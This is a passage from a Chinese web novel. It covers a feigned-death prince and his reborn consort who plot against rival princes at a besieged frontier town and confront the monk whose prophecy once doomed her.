以他的能力和谋算,想必城中之事尽在掌握,她问出口,才觉得有些多余。 宋墨辰一边收起地图,一边冷哼一声,“不过是些想借边关战事捞取功劳、财富的小人,不足为惧。” 若不是他现在有更重要的目标,他早将他们一网打尽了! 秦时月闻言,语气冷了下来,“战争还没开始,这群人就想借机大发国难财了?真是畜生不如!” “不用气,待时局稳定下来,我自会料理他们。” 听到他这么说,秦时月撇撇嘴,没再揪着这件事不放,只是想起宋砚辞领皇命的事,又有点急切。 “此事我已经知晓了。”宋墨辰面色不变,悠然的为她添了一杯新茶,“宋砚辞急着立功,若是他够聪明,或许能活着回去,如果他不够聪明,此行,就是他的终点!” 宋墨辰一生杀人无数,百姓称他战神,又何尝不是在说他杀人如麻? 所以,他从不是什么善男信女,更不是被算计过,还能一笑泯恩仇的人。 宋砚辞要杀他,他便杀宋砚辞! 秦时月略一思索,点点头,又不安的问道:“宋砚辞好解决,你假死的事,想好怎么跟陛下解释了吗?” 陛下本来就对宋墨辰有所防范,若知道他竟然假死下棋,只怕会想尽办法杀之后快。 “不用解释,边关常有报错的时候,只需差人回去报喜,说是在边境处寻到了奄奄一息的我,料陛下也不会太过责备。”宋墨辰笑道。 生死之事他并不看重,他笑,是因为感受到了秦时月对他的担心。 秦时月不懂边关之事,但听他这么说,似乎很有道理,便没再多想,端起茶杯润了润嗓子。 当日夜间,在武正元的带路下,影夜带人取回了藏在城外五里处的火铳,整整一百把,火药两箱。 看到这些东西被平安运回来,宋墨辰惊呆了。 回过神,他后知后觉的发现,他的视线竟然有些湿润。 他相信以秦时月,也相信以她的聪明才智能带几把火铳过来。 几把。 可他没想到,她竟带了足足一百把。 一旁的秦时月早已换上了寻常女子的粗布衣衫,此时看着这一幕,笑的格外随性,“马车空间有限,否则我还能再带些过来。” 宋墨辰摇摇头,语气低哑,“这些东西从京中运到边关,一路上要躲过多少双眼睛,稍有不慎便是杀身之祸。” 他说着,突然转身,一把将她抱进了怀中,“你是吃了多少苦,才将它们带来的……” 第144章 气氛太美,可惜时机不对 秦时月被他的举动惊的双颊滚烫,有些不知所措,反应过来就要推开他,双手在碰到他的时候,意外察觉到他的身体止不住的轻颤。 怔愣一下,她放弃了推开他的动作,唇角勾起了一抹她自己都没有察觉到的弧度。 “我若是连这点风险都担不起,又如何配的上辰王妃的名号?”她扬着下巴,眸光凛冽,直勾勾望着月亮。 这一刻,她不再是后院只会算计侯府的秦时月,而是胸怀大志的辰王妃。 宋墨辰怔了片刻,随即笑出了声。 他松开她退后半步,转而握住她的手,十指相扣。 “不,是我何其有幸,才能认识我的王妃。”他声音低柔,像在许诺一生,“时月,宋墨辰,此生不负!” “咳,接下来你打算怎么做?”秦时月脸红着问道,目光落在那些火铳和火药上。 这些东西有限,必须要善加利用。 宋墨辰沉吟片刻,道:“这两日我会让熟悉火铳的人带人训练,然后分发到几个重要地段。”说着,他想起一人,不由的抬头看向秦时月,“你觉得武正元如何?” “他?”秦时月略显意外,但很快点了点头,“应该可以。铁匠老五是他父亲,想来在打造火铳的时候不会背着他,另外,这段时间他一直跟影夜在一起,有一定的身手,又是个可信的人。” “那就交给他和影夜。”宋墨辰果断决定,旋即又补充道:“我的人不久前来报,宋砚辞差不多明日就能进城。这两日我会让影风亲自在城中查探。” 秦时月看着天边泛起的鱼肚白,思绪翻涌。 真正的风暴即将来临,他们能否全身而退,能否逆风翻盘,全看接下来的每一步…… 宋墨辰紧紧握住她的手,护在她身侧,“放心,一切有我。” 只要他还有一口气在,他就绝不会让她受到半点伤害! 秦时月闻言,侧眸仰头看了他一眼,唇角微扬,笑的像只小狐狸,“好啊,那妾身就放心的把自己交给王爷啦。” 第二日一早,天刚擦亮,影夜就带来了最新消息。 宋砚辞的马车,进城了。 只是让宋墨辰和秦时月意外的是,随他一起来的,还有三皇子,宋承恩。 “有什么不对吗?”见他眉头紧锁,秦时月忍不住问道。 “你有所不知,我这位三皇兄自幼体弱,极少参加活动筋骨的宴会,更何况出京,他此番随宋砚辞来边关,实在有些蹊跷。”宋墨辰回道,幽深的眸子里多了一丝警惕。 眼下局势不明,三皇兄不在京中养身子,反而不惧危险的过来,必然是有所图谋,就是不知他和宋砚辞之间,是不是存在什么不可告人的交易。 “你别担心,派人盯着就是了,一个病秧子而已,想必翻不起什么风浪。” “你不懂。”宋墨辰面色沉沉,起身走向门口,“我这位三皇兄虽然疾病缠身,但却是个极其擅长隐忍和算计的人。” 或许是因为体弱的原因,宋承恩自幼便懂的如何利用他人的弱点来达成自己的目的,心思比任何人都要缜密。 甚至可以说,若他身体健康,绝对是皇室中最难对付的一个。 秦时月皱皱眉,不由的收敛了笑容,起身走到了他的身边,“那依你看,三皇子此行的目的会是什么?” 宋墨辰没有回答,而是抬眸看向远处的天际,“不清楚,我,摸不透三皇兄的心思……” 秦时月顺着他的目光望去,只见晨光微露。 明明该如沐暖阳,可她却感到了一丝凝重和阴冷。 …… 宋砚辞看着眼前萧条的街道,眼中闪过一丝复杂的神色。 他怎么都没料到,启程的时候老三会要求一同前来。 若不是一路上要照顾老三,他早就到了! 宋承恩轻轻咳嗽了一声,苍白的脸色在晨光中显得有些虚弱,神情却有些意味深长。 “皇兄,一路走来,并没有看到有多少闹事的,你说,这是为何?” 宋砚辞眉头微皱,没有立刻回答。 转过头,他的目光在最宽阔的大街上扫过,心中隐隐觉的不对劲。 按急报来看,此刻边关该是战事紧张,这里应该充满战乱,可此刻,这里却安静的让人意外。 “或许,是有什么咱们不知道的。”宋承恩轻声开口,语气中带着几分笑意,“皇兄,你觉得呢?” 宋砚辞收回视线,看向这个向来话少,体弱多病的三皇子,拧眉问道:“皇弟此言何意?” “皇兄有没有想过,辰王已死的消息,是真是假?” 宋砚辞心里一惊,猛勒缰绳看向宋承恩,“你什么意思?” “不过是些无聊的猜测罢了。”宋承恩笑笑,眼底闪过一丝让人察觉不到的冷意。 他不信宋墨辰死了。 一来,宋墨辰驻守边关多年,不会这么轻易死掉;二来,这边关太过太平,显然是有人压制,若宋墨辰真的死了,这边关恐怕早就乱成了一锅粥。 只是这些话,他不想对这个蠢货说。 宋砚辞眉头紧锁,不悦的冷哼一声,“确实无聊。时间还早,咱们先去太守府安顿下来,其他的,等我的人回来禀报再说。” 宋砚辞大手一挥,随行的人马立刻跟着他向太守府的方向走去。 看着宋砚辞打马而去的背影,宋承恩嗤笑一声,轻轻摇了摇头。 宋砚辞啊宋砚辞,你还是这般急躁,看来此行,不会太顺利…… 不过这样也好,正好与他的计划不谋而合。 “主子,太子一行向太守府去了。”影夜恭敬的单膝跪地,汇报道。 “嗯,你带人盯紧,记住,不要跟的太近,不要暴露行踪、身份。”宋墨辰将黑子落下,眸光带笑的看向对面的秦时月,“娘子,这把危险了。” 秦时月嘟着红唇,一脸深思状,就在宋墨辰打算开口提点她一下的时候,她突然嘴角带笑,执白棋,落在了一堆黑棋的包围中。 霎时间,棋盘上的局势骤然逆转。 原本占尽优势的黑子竟被这一颗白子打乱了节奏。 第145章 太后死翘翘 宋墨辰眸光微闪,眼底带笑,“娘子这一步,倒是出人意料。” 他语气玩味,眸中有欣赏,有宠溺。 秦时月轻笑一声,眉眼间透着几分狡黠,“夫君不是常说,棋盘如战场,出其不意才能扭转乾坤?” 看着她娇俏如同小狐狸的样子,宋墨辰眯了眯眼,心中一动,忽然伸手。隔着桌子轻轻捏住了她的下巴。 “娘子棋艺高超,为夫输的心服口服。”他的动作亲昵却不失分寸,目光灼灼,看的人心里发烫。 为了不引起外人的注意,即便在这方小院里,众人也从不以“王爷、王妃”称呼二人,除了同住一间,二人如老夫老妻般,提前过上了让人艳羡的夫妻生活。 秦时月被他突如其来的亲昵举动弄得脸颊微红,深吸口气,努力压下心底的羞涩和悸动,没有躲开。 她抬眸看向宋墨辰,眼中带着几分促狭,“夫君若是不服,不妨再下一局?” 宋墨辰轻笑一声,指尖轻轻摩挲了一下她的下巴,随后松开手,重新坐正了身子。“娘子想下多少局都行,不过今日怕是没时间了。” 他语气宠溺,眸光却沉了下来。 她低声嗯了一句,随手捏起一颗棋子,随意在手上摆弄起来,“说的是,眼下局势未定,怕是再难有这样轻松的时候了。” “放心,影夜,影风和武正元那边已经安排妥当,其余人手也都已到位,只要不出意外,应该不会有事。”宋墨辰道,“接下来几日怕是没有休息时候了,一会你再去睡会。” 秦时月心里划过一抹柔情,似笑非笑,故意逗他,“怎么,夫君这是心疼我了?” “自然心疼。你是我最重要的人,我怎会不心疼?”宋墨辰直视着她的眼睛,一字一句道。 京城到这路途遥远,几日赶到,就连一个成年男子都会疲惫不堪,更何况她一个闺阁中的弱女子。 她还没休息够,没调整过来,事情接憧而至,他怎么可能不心疼? 这一句话说的极为郑重,让秦时月心头一颤。 她垂下眼帘,掩饰住眼底的一丝波动,嘟囔一句,“油嘴滑舌。” “娘子冤枉啊,为夫说的句句是心里话。”宋墨辰学着她的样子,大喊冤枉。 成功逗笑了秦时月。 就在她笑的见眉不见眼的时候,影夜突然出现。 她皱皱眉,努力藏下眼底被吓了一跳的震惊,然后抬眸,眼神复杂的看了眼宋墨辰。 自从重生回来,秦时月的警惕性从来没有降低过,方才她竟然在不知不觉中放下了警惕心,这对她来说,可不是什么好事。 “出什么事了?”宋墨辰早习惯了他们的突然出现、消失,面色不变,沉声问到。 “主子,京中刚来的消息,太后,殁了。” 秦时月听到这个消息,面上没有太多波澜。 算算她离宫的日子,距现在也有四日了,老虔婆,也是时候去见佛祖了。 宋墨辰注意到她平静的态度,挑挑眉,挥手让人退下。 待院子里只剩他们二人,他才试探着问道:“太后的事,与时月有关?” 秦时月心中一惊,面上却没有表现丝毫慌乱。 她含笑看着他,犹豫片刻,还是承认下来。 “她想要我的命。” 太后是宋墨辰的祖母,虽然对他诸多算计,但到底血脉相连,她担心……自己的举动会伤到他。 “什么!?”宋墨辰眉头一拧,起身绕到她面前,拉起她的手上下打量起来,“可伤到哪了?” “……宋墨辰,我害死了你的祖母。”他的反应,让她不得不开口提醒。 “她与我不亲,这几年更是和陛下对我表面一套背后一套,各种算计,我并不在乎她的死活。” 他垂着头,一边查看她的情况,一边嘴硬的说道。 可秦时月分明感受到了他大手上传来的轻颤。 他,并非无情。 “太后一死,朝中局势更加动荡,陛下此刻估计已经焦头烂额了。”看到秦时月没事,宋墨辰松口气,淡然说道。 秦时月没有回应。 头一次,产生了后悔的情绪。 宋墨辰不知道她的心思,自顾自继续分析,“朝堂上向来是利益为先。太后虽死,但她的母族势力盘根错节,陛下若想稳住局势,必定要想办法拉拢人心。” 秦时月抬起头,眸光微闪,“你是说……” “我不能确定,但如今事情都赶到了一处,以陛下的性情,肯定会有所动作。” 宋墨辰心情有点沉重。 若太后再晚些死,又或者他此时在京中,或许可以趁机招揽人心。 她细细思索着他的话,心中渐渐明朗。 这一刻,她更埋怨自己了。 要是自己当初下手的时候再考虑考虑后果,或者下个慢性毒药,折磨折磨太后……是不是就不会有这些麻烦事了? “现在想再多也没用,祖母去世的事,要不了多久就会传进宋砚辞和三皇兄的耳中,接下来,看看他们是什么反应再说吧。” 秦时月刚要点头,一个一直盯着城中情况的暗卫突然翻过院墙进来,神色凝重的单膝跪在地上,“主子,城内突然戒严,所有进出通道被封锁,咱们的人担心暴露,撤回来了大半。” 除了像张老板那种明面上的,他们这些暗哨几乎都撤了回来。 秦时月与宋墨辰对视一眼,皆从对方眼中看到了沉重。 “看来宋砚辞已经准备要行动了。”秦时月眼神微寒,冷静分析,“难不成番邦那边有什么动作?” 宋墨辰眯起眼睛,道:“应该不会。不管他打的什么主意,想控制整个边关,他还做不到。” “夫君打算怎么办?”见他胸有成竹,秦时月歪着脑袋笑问。 “在不损害百姓利益的情况下,不妨陪他玩玩。”宋墨辰也笑了。 他伸手握住她的手,与她十指交握,“不过在此之前,咱们得做到万无一失。” 说着,他背对着暗卫命令,“通知影风、武正元,暗哨蛰伏,让他们另外调集人手,加强各处防守。另外,派人密切监视太守府的一举一动,特别是三皇子。” 第146章 卓老爷子被发现 他这个三皇兄,绝不像表面那么简单! 看着暗卫领命而去,秦时月忍不住低声说道:“总觉得这次的事情没那么简单……” 直觉告诉她,真正的风暴,才刚刚开始。 另一头,长乐侯府。 “夫人,老夫人的情况不容乐观,您还是尽早拿个主意吧。”刘嬷嬷哄着眼眶,满眼焦急。 自从老夫人病倒,芳姨娘掌管侯府,老夫人院子里的月银就一减再减,美其名曰要缩减开支,可她心里清楚,他们这就是认定老夫人熬不过去,不想浪费银子了。 一旦老夫人倒下,他们这些老夫人院子里的,也落不了个好下场,这才是刘嬷嬷着急的原因。 “刘嬷嬷,不是本夫人不想拿主意,你也看到了,如今侯府在芳姨娘的掌管下,我也是看人眼色过日子,我有什么办法?” 长乐侯夫人面上为难,心里却恨不得喝上两杯庆祝庆祝。 年轻时她一直被老夫人压一头,就算后边执掌全家,遇到大事,还是要请示老夫人,她早过够了这窝囊日子。 最重要的是,她的可云如今已经入宫,听过来传递消息的宫人说,陛下已经连续宠幸两日了,她的日子已经好起来,已经不需要老夫人了! “夫人……” 刘嬷嬷还想再说什么,却被长乐侯夫人抬手打断。 “好了,你先下去吧,让我想想。” 她的语气虽轻,却带着不容置疑的硬气。 刘嬷嬷张了张嘴,终究没再开口,只能无奈地退了出去。 她知道,表面看似柔弱无害,实则比谁都要精明,死在她手上的下人不在少数,她却能置身其外,不叫任何人拿到把柄。 看来,她也是时候为自己寻个新去处了…… 长乐侯夫人起身走到门前,目光落在庭院中那一株开得正盛的海棠花上,嘴角渐渐勾起一抹冷笑。 这些年来,她忍辱负重,为的就是等这一天。 “婆母啊婆母,你拿捏了我一辈子,到头来还不是落在我的手上,等死?”她低声自语,声音里透着几分畅快。 就在这时,门外传来一阵急促的脚步声,紧接着,一个丫鬟慌慌张张的跑了进来。 “夫人!夫人不好了!” “慌慌张张的成何体统?”长乐侯夫人眉头一拧,脸色沉了下来。 “卓府来人了,说,说是卓老爷子……去世了。” “你说什么?”长乐侯夫人愣在原地,没听清般,重复问道。 前些日子见父亲时,他老人家身体强健,没有半点不适的征兆,怎么可能会突然离世? 长乐侯夫人大脑空白,眼神呆滞,眼前有发黑,身子摇摇欲坠。 直到丫鬟再次开口,她双眸猩红,一把抓住丫鬟的衣领,突然声嘶力竭的喊道:“本夫人不信!传话的人现在何处?” 丫鬟被她的状态吓的瑟瑟发抖,结结巴巴的回道:“回夫人,在,在前厅,正等着夫人召见……” 长乐侯夫人松开手,踉踉跄跄往外走,张嬷嬷担心出事,连忙招呼彩云、唤梦跟上。 前厅里,卓府的下人正满脸焦急的等着,见到长乐侯夫人进来,连忙上前行礼。 “夫人,老爷他……”来人头带孝条,声音哽咽,眼神悲痛,连句完整的话都说不出来。 一旁的芳姨娘见状,心里有些高兴。 卓家是长乐侯夫人最大的助力,卓老爷子一去,就相当于断了长乐侯夫人一臂,这对她来说,百利而无一害。 但她够聪明,即便心里高兴的恨不得跳起来,面上也装出了一副悲痛的样子,“夫人节哀。” “闭嘴!”长乐侯夫人猛的转头,眼神如刀的瞪向芳姨娘,声音尖锐,“贱人,你少在这里假惺惺的!” 芳姨娘被她的气势吓的后退了一步,脸色微白,却故意装作委屈的样子,道:“夫人,妾身只是关心您……” “关心!?”长乐侯夫人冷笑一声,目光扫过她那张讨厌的俏脸,“本夫人不需要你的虚情假意,滚出去!” 芳姨娘眼神阴鸷,却还是装着无辜的样子咬了咬唇,低眉顺眼的退了出去, 她掌家也有段日子了,谁见了她不是点头哈腰的? 不过,长乐侯夫人痛失至亲,她也能体谅。 出门后,她的眼底闪过一抹得逞又肆意的笑意。 经过此事,长乐侯夫人必然更无心管理内院的事,而这时,正是她进一步巩固地位的好机会! 待芳姨娘离开,长乐侯夫人才扶着胀痛的额头看向来人,眼神阴狠的让人心惊。 “到底怎么回事?我父亲好好的,为什么会突然……突然去世?” 她艰难的吐出“去世”两个字,心乱如麻。 “大少爷正在排查老爷子的死因。” “什么意思?” “……老爷子出门多日未归,今日早晨,突然有人来报,说在京城外的小路上看到了几具无名尸体,大少爷像是心有感应,带人过去查看情况,认出,认出了老爷子的衣服配饰……” 来人说到这里,声音已经有些哽咽。 长乐侯夫人听到这里,身子猛的一晃,险些站不住,幸好张嬷嬷眼疾手快扶住了她,才没让她栽倒。 她深吸一口气,努力让自己冷静下来,可不断颤抖的身子却暴露了她内心的慌乱。 “可曾确认?”她声音沙哑的问道。 来人的额头上带着显眼的孝条,其实已经说明了一切,可她还在做最后的挣扎。 她父亲一向精明谨慎,怎么可能就这么不明不白的死在了荒郊野外? 果然,来人不知如何回复,干脆沉默的垂下了头。 长乐侯夫人痛苦的闭上眼睛,脑中一片混乱。 就在她不知该如何是好的时候,门外传来一阵喧哗声。 众人还未反应过来,长乐侯在一众下人的簇拥下走了进来。 他刚下朝回来,一进门就听说卓家来人了。 想着卓家虽然不复从前,但人脉关系还在,所以他朝服都没换就赶了过来。 一进门,他就察觉到了气氛不对,将官帽递给一旁的忠礼,他装模作样的走到长乐侯夫人身边,关切的问道:“卓静,出什么事了?” 第147章 你想怎么做 长乐侯夫人的脸色苍白如纸,嘴唇微微颤抖,却一句完整的话也说不出来。 卓家的低着头,不敢直视长乐侯,只能小声回道:“回侯爷,我家老爷子……今日被人发现死于京城外的小路上……” “什么!?”长乐侯眉头紧锁,声音陡然拔高了几分,“这怎么可能?岳父大人一向小心谨慎,怎会出这样的事?” 他说着,将目光转向长乐侯夫人,眼神复杂。 他做到如今的位置上,对他来说,利益才是最重要的。 卓家失势,卓老爷子又死了,那么卓静在他心中的地位,自然大不如前。 长乐侯心里虽然起伏不断,但脸上依旧保持着关切的神情。 这个问题来人无法回答,整个大厅陷入一片沉默。 长乐侯故意探口气,说道:“此事本侯知道了,你回去告诉卓兄,有用得着本侯的,尽管开口。” 长乐侯夫人和来人先是愣了一下,脸色纷纷难看了一下。 来人不敢多嘴,恭敬的道了声“告辞”,便退了出去。 长乐侯夫人则脸色难看的看着长乐侯, 眼里全是不敢置信。 她父亲死了,他轻飘飘一句话就将人打发走了,他,他还是她认识的那个穷举子吗? “这么看着本侯做什么?”来人离开,长乐侯装都不装了,一脸烦躁的道:“最近朝堂上发生了这么多事,本侯哪有那么多闲心去管卓家的事?” 长乐侯夫人不是第一次见识到他的冷情薄性,可此刻,终于忍不住大哭出声来。 长乐侯见状冷哼一声,吩咐一旁的张嬷嬷,让她将长乐侯夫人带回房休息。 张嬷嬷连忙上前搀扶,却被长乐侯夫人一把甩开。 她咬紧牙关,死死瞪着长乐侯,几次张嘴,却一个字也没说出来。 她知道,长乐侯是靠不住了。 但父亲的死,她的未来,都不能就这么算了。 眼神一凛,她想起了刚被陛下宠幸两夜的秦可云。 如今能帮她的,就只有可云了…… 想到这,长乐侯夫人的眼底闪过一丝决绝,深深看了长乐侯一眼,抓着张嬷嬷向外走去。 秦顺强,你既然不顾多年夫妻情分,那就别怪我不留情面! …… “主子,京城传来消息,太后的丧事一切从简。”影夜单膝跪地,道。 宋墨辰和秦时月交换个眼神点点头,表示知道了,脸上并没有多余的表情。 “皇后娘娘那边呢?可有什么消息?”秦时月下意识问到。 影夜偷瞄宋墨辰一眼,见自家主子没有阻止的意思,才垂眸说道:“回大小姐,皇后娘娘被软禁在凤仪宫,宫外有重兵把守。” 眼看秦时月的脸色肉眼可见的难看起来,影夜连忙说道:“大小姐不必担心,主子先前做了一些部署,皇后娘娘不会有事的。” 秦时月皱着眉头看向宋墨辰,眼里带着急于确定的问号。 “影夜说的没错,先前我留了几个人在母后宫里,当时只是为了以防万一,现在看来,当时的决定是做对了。” “你指的,不会是皇后娘娘宫里的几个小宫人吧?” 宋墨辰轻笑,“时月聪慧。” “那些人都是大小培养起来的,放心,他们不仅身手好,而且忠心不二。” 秦时月苦笑一下,算是领教到了他的深谋远虑。 见影夜还跪在地上,宋墨辰挑挑眉,问道:“可还有事?” “回主子。”影夜垂下眸,“主子先前让属下查的高僧,有消息了。” 秦时月怔愣一下,回过神后,眼底神色莫名。 她转头看向宋墨辰,后者朝她点点头,她脸色顿变,眼底满是惊喜,“太好了!他在何处?方不方便让我见他一面?” 虽说现在时机不对,但事关她和秦可云的预言、命运,她迫不及待的要见那个老和尚一面,好当面问问他,当年为何要害她! 宋墨辰似乎早已料到她回是这样的反应,抬手,示意影夜继续说下去。 影夜低声道:“那位高僧正好云游到边关,正在太守府做客,但不确定他是否是大小姐要找的人。” 太守府?老和尚竟然和宋砚辞、三皇子汇聚到了一起,不知他们之间,是不是有什么不可告人的秘密…… 秦时月听的心潮涌动,手指不自觉地攥紧了衣袖。 宋墨辰曾经来信时提过,高僧在龙虎寺当主持,也提醒过,想要确认他的身份,最好还是请她母亲亲自辨认。 这种事她不会惊动长乐侯夫人,要确认高僧的身份,她有她的办法。 她深吸一口气,努力让自己冷静下来,转头看向宋墨辰,“我要见他一面。” 宋墨辰淡淡一笑,“包在我身上,只是此事确实不宜操之过急,等时机成熟,我亲自陪你走一趟。” “亲自陪我去?”秦时月微微一怔,心里划过一丝暖意。 她明白,宋墨辰这是在担心她的安全。 影夜见二人商量妥当,恭敬问道:“主子,是否需要属下探查详细情况?” “也好。不过记住,切勿打草惊蛇。你们只需摸清那高僧的日常规律和周围环境,其余的事不必多管。” 太守府守备森严,如今宋砚辞和他的三皇兄又住了进去,想来会被保护的密不透风,他们行事,必须要小心。 “是。” 影夜离开后,秦时月忍不住担心道:“那位高僧似乎有些手段,你说,他会不会已经算准你是假死诱敌?” 宋墨辰皱皱眉,手指轻叩桌面,“若他真有这般本事,确实需要提前防备。” 若他真能洞察天机,再与宋砚辞、三皇子勾结,事情恐怕就复杂了。 “你想怎么做?” 他没有直接回答,只是端起茶盏浅浅抿了一口,眼神带着意味深长的笑意。 “这世间,最危险的不是敌人太过聪明,而是他们自以为掌控了一切。殊不知,人心才是最大的变数。” 这边关平静太久了,也是时候给他们来点刺激的了! 秦时月似懂非懂的点点头,没意识到,风起,云涌,这边关,马上就要变天了。 第148章 果然如他所料 当日夜里,番邦派出一支精锐部队,趁着夜色悄悄潜入边关。 他们行动迅速且隐秘,显然是有备而来。 他们一身夜行服,守城的士兵还没发现,就被悄无声息的解决两个。 等有人发现尸体,意识到情况不妙,立刻吹响了警报的号角…… 此时,太守府内。 宋砚辞和三皇子分别坐在首位、下首,兴致盎然的看着底下穿着清凉的舞姬扭腰摆胯。 宋砚辞端着酒杯,轻轻摇晃着杯中的美酒,嘴角挂着一抹若有若无的笑意。 这些舞姬谈不上多美艳,但眼神暧昧,穿着暴露,总算有点吸引人的地方,至少姬妾成群的宋砚辞,被吸引住了。 三皇子则是漫不经心的看着,表面上对舞姬们的表演赞不绝口,实则一点也不感兴趣。 就在这时,一个侍从匆匆冲进大厅,神色慌张的高声禀报,“殿下!边关出现敌袭,番邦的贼人快要突破第一道防线了!” 他用尽了力气,声音压过乐器声,场面顿时慌乱不堪。 宋砚辞微微抬眼,瞥了一眼惊慌的众人,随后放下酒杯,慢条斯理的拿起帕子擦了擦手,“慌什么?这点小事也值得打扰本官的雅兴?” 三皇子闻言,垂眸一笑,随后抬起头附和道:“是啊,既然他们敢来,那就陪他们玩玩。有太子坐镇,我们这边可不是吃素的。” 他的话音刚落,便有一名黑衣人从暗处闪身而出,单膝跪地,恭敬地低着头说道:“殿下,一切准备就绪!” 宋砚辞不悦的扫了三皇子一眼,然后站起身负手而立,目光深邃,眼底透着一股疯狂,“一个不留!” 他来这里就是为了镇压,若他们一直不动手,他还拿什么换军功!? “太子殿下看来早有筹谋,下官佩服。”太守舒口气,一脸谄媚的举着酒杯,“下官敬殿下一杯。小沅,还不去伺候殿下。” 被唤作小沅的舞姬眼波流转,提着裙摆,款款走向宋砚辞,然后在众人的注视下俯身为他倒了一杯酒。 她穿着清凉,胸前的白皙根本遮挡不住,这一俯身,立刻跳入宋砚辞的眼里。 他喉头一紧,眼底有情欲翻涌。 可他到底是太子,并没有当场失态。 下一秒,小沅脚下一软,竟直接跌坐在了他的腿上。 眼看宋砚辞的表情变了又变,太守心里偷笑,连忙挥退众人。 三皇子在心里暗骂一声“蠢货”,也主动离开了。 …… “主子,人已经在城门口打起来了,不出您所料,太子那边早有准备,此时有一队人马已经赶了过去。” “那是太子亲卫,不用理会。”宋墨辰嘴角带笑,随手将手中的黑棋放在棋盘上一点。 秦时月见状,皱皱眉,“局面焦灼,我该下在哪里呀?” 宋墨辰的眼里浮现出一抹宠溺浅笑,“时月已经想好了,不是吗?” 她噗嗤一笑,娇嗔的瞪他一眼,然后挨着黑棋,将白棋下在旁边,“既然都有筹谋,接下来,就看谁起高一筹了。” 记住本站: 秦时月似乎已经听到了城门外传来的厮杀声,嘴角勾起一抹冷笑。 “不错,到时候趁乱,咱们可以去见那位高僧一面。” 秦时月还在想棋局,骤然听到这番话,顿时僵在原地。 “你,你是说……”她的眼底闪过一丝不可置信。 “边关形势紧张,只有乱起来,才能给你创造见他一面的机会。”眼看秦时月感动的眼眶泛红,宋墨辰立刻继续道:“不过,我也是想趁机看看宋砚辞的本事,好提前规划下一步。” 她没有多说,眸光却柔和了不少。 他的好,她心里清楚就好。 宋墨辰不愧是天生的将材、战神,形势果然如他所料。 宋砚辞虽然精心布下陷阱,但番邦的精锐部队训练有素,宋砚辞的亲卫人手不足,逐渐显露出疲态。 第一道防线被攻破,敌人已经在想办法破城门了,火光映红了半边天,喊杀声此起彼伏,城中全是百姓们恐慌的混乱声。 不多时,一个暗卫悄然现身,单膝跪地禀报,“主子,太子、三皇子和太守已经动身,城门外双方僵持不下,但咱们的人发现五里外有情况,想来是敌军的后援。” 宋墨辰微微颔首,示意暗卫退下,然后看向秦时月,“看来,这场戏还要上演一会。趁着混乱,我正好陪你去见那位高僧一面。” 说着,他起身走到一旁取下披风,让后披在她的肩上。 秦时月没有动,抬头看着他,任由他为自己披上披风,心中涌起一股暖流。 两个人什么都没说,可似乎一切都在这种平静的氛围下清楚的表达了出来。 两人刚准备动身,一个暗卫匆匆赶来,噗通一声单膝跪下,“主子,属下办事不利,刚发现城内有不明势力趁乱煽动百姓,似乎在故意制造骚乱。” 他不敢抬头,不敢请罪,只因现在正值用人之际。 宋墨辰眉头微皱,脸色难看,“下去领十军棍!” 暗卫面色不变,应了一声,迅速消失。 “看来,是有人耐不住了。”他冷哼一声,喊道:“影夜!” 一道黑影闪过,影夜出现在院中,“计划稍作调整,先解决内患,记住,不要让太子等人发现是你们做的,另外,传我命令,重点监视城中动向,一旦察觉异状,不用来报,直接就地解决!” “是!”影夜领命离开。 秦时月知道情况有点超出了他的计划,皱皱眉,道:“见高僧的事不急,先稳住局面……” “放心,你家夫君若是连这点小情况都把握不住,那就不配站在你身侧了。”说完,搂着她的纤腰往后门走去。 他们做了伪装,脸上贴着人皮面具,身上穿着粗布麻衣,即便被人碰到,也只会以为是城里最寻常的百姓。 他们一路避开大道,专挑偏僻小巷,倒是没碰到任何可疑的人。 “月儿。”他低声开口,“高僧已经被约出来了,所在之处离这里并不远,但需要穿过几条暗巷。你跟紧我。” 记住本站: 第149章 涅槃重生?那是我命不该绝! 秦时月点点头,红着小脸挽着他的胳膊慢慢往前走。 这一刻,她的心情有些微妙,有种想要让时间停下来,就这样和他一直走下去的感觉。 不知过了多久,宋墨辰带着她来到一处幽静的小院,院子里的一切都和寻常百姓家没有两样,可秦时月在东方苑的调下下神经敏感,很快察觉到有什么不对。 “为防万一,这院子四周我都派了人。”宋墨辰说完,在房门尚上轻轻敲了三下。 房门缓缓打开,一个身披灰色僧袍的老和尚出现在门口。 他面容清瘦,眼窝深邃,仿佛能看穿人心。 见到秦时月时,他面色未变,嘴角却勾起了一抹似有若无的苦笑,“二位还是来了,请进吧。” 他的话让秦时月有些疑惑,但她知道这里不是说话的地,没多言,只是跟着宋墨辰进了屋。 屋内陈设简单朴素,只有一张木桌和几把木凳。 高僧示意二人坐下,随后亲自为他们斟上两杯茶。 秦时月没接茶杯,盯着老者,平静问道:“大师可记得长乐侯夫人?” “滴水之恩,贫僧不曾忘却。” 此话,就是承认了他的身份,就是当年的高僧。 秦时月在心里冷笑一声,面上却没太大的变化,“那大师可记得曾经对长乐侯夫人说过的话?” 不怨吗?不,她没那么大度。 她到现在始终坚信,长乐侯夫妇固然冷血,但造成她最终惨死结局的,还有这个老和尚。 若不是当年他胡言乱语,便不会有后边那些事! 高僧抬眸看着她,眼神澄明,“记得。” “那……” “花非花、雾非雾,施主‘回来’,难不成就只想问贫僧一个时过境迁的问题吗?况且,施主不是早有答案了?” 这一番话令秦时月愣住,一时语塞。 他的话,有些深奥,但他提到她“回来”,就不得不让她多想了。 “大师,我想听你亲口解惑。” 她攥攥拳,不死心的开口。 秦时月重生后确实想通了很多事,心里也确实有些答案,只是她不敢确定,毕竟,长乐侯府那一众人对待她的态度,让她不敢相信自己的猜测。 “贫僧曾断言,夫人一生注定得两女,其一是灾星降世,对她及家宅有损,其二乃天命之女,只要好生对待,便可令男丁加官进爵,诸事皆宜。” 宋墨辰怔愣一下,看向秦时月的眼神里多了一丝心疼。 他知晓她在侯府中的日子,莫不是,长乐侯一众,把她当成了灾星? 如果真是这样,那便能说通他们为何会对一个养女百般宠爱,却对亲生女儿如此冷淡,甚至是残忍了了。 秦时月挑眉一笑,“所以,大师口中的天命之女,实则是我?” 记住本站: “当初贫僧并没有见过你和另外一位小姐,只是观夫人面相看出了因果,又因滴水之恩泄露天机,害施主平白遭受无妄之灾,贫僧这些年,一直活在悔恨中。” “现在看到小姐,贫僧便知道,你,确是天命之女。” 也只有天命之女才能涅槃重生! 秦时月怔怔的看着他,突然起身癫狂大笑,“就因为你的一句预言,他们便将我视作灾星,百般欺凌,而对一个养女极尽宠爱。你可知道,你所谓的预言,毁了我整个人生!!” 